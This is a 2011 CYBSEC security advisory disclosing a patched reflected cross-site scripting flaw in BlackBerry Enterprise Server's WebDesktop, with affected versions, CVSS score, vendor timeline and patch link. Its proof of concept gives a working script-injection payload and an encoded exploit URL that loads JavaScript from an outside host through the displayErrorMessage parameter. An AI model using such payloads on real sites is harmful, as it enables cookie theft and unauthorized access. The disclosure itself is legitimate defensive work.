



Advisory Name: Cross-Site Scripting (XSS) in Blackberry WebDesktop

Internal Cybsec Advisory Id: 2011-0401

Vulnerability Class: Cross-Site Scripting (XSS)

Release Date: 12/04/2011

Affected Applications:

- BlackBerry Enterprise Server Express versions 5.0.1 and 5.0.2 for Microsoft Exchange
- BlackBerry Enterprise Server Express version 5.0.2 for IBM Lotus Domino
- BlackBerry Enterprise Server versions 5.0.0 through 5.0.3 for Microsoft Exchange and IBM Lotus Domino
- BlackBerry Enterprise Server version 5.0.1 for Novell GroupWise

Affected Platforms: Blackberry Enterprise Server

Local / Remote: Remote

Severity: Medium – CVSS: 3.5 (AV:N/AC:M/Au:S/C:P/I:N/A:N)

Researcher: Ivan Huertas

Vendor Status: Patched

Reference to Vulnerability Disclosure Policy: http://www.cybsec.com/vulnerability_policy.pdf

Vulnerability Description:

A Cross Site Scripting vulnerability was found in Blackberry WebDektop, because the application fails to sanitize user-supplied input. The vulnerability can be triggered if a logged user follows a specially crafted link, executing malicious Javascript code on the user's browser.

Proof of Concept:

Inserting `<SCRIPT SRC=http://xxx.xxx.x.xx/CYB.JS/>` in the parameter `displayErrorMessage` would execute the code included in the javascript file `CYB.JS`.

`https://xxx.xxx.x.xxx:3443/webdesktop/app?page=pages/advanced/ManageDevices&service=page&displayErrorMessage=%3CSCRIPT%20SRC%3d%22http%3a%2f%2fxxx.xxx.xxx.xx%2fCYB.JS%22%2f%3E`

Impact:

An affected user may unintentionally execute scripts or actions written by an attacker. In addition, an attacker may obtain authorization cookies that would allow him to gain unauthorized access to the



application.

Solution:

Install the latest release with the instructions included in <http://blackberry.com/btsc/KB26296>

Vendor Response:

2011-22-02 – Vulnerability was identified
2011-23-02 – Vendor contacted
2011-20-03 – Vendor confirmed vulnerability
2011-12-04 – Vendor released fixed version
2011-12-04 – Vulnerability published

Contact Information:

For more information regarding the vulnerability feel free to contact the researcher at **ihuertas <at> cybsec <dot> com**

About CYBSEC S.A. Security Systems

Since 1996, **CYBSEC** is engaged exclusively in rendering professional services specialized in Information Security. Their area of services covers Latin America, Spain and over 250 customers are a proof of their professional life.

To keep objectivity, CYBSEC S.A. does not represent, neither sell, nor is associated with other software and/or hardware provider companies.

Our services are strictly focused on Information Security, protecting our clients from emerging security threats, maintaining their IT deployments available, safe, and reliable.

Beyond professional services, CYBSEC is continuously researching new defense and attack techniques and contributing with the security community with high quality information exchange.

For more information, please visit www.cybsec.com
(c) 2011 - CYBSEC S.A. Security Systems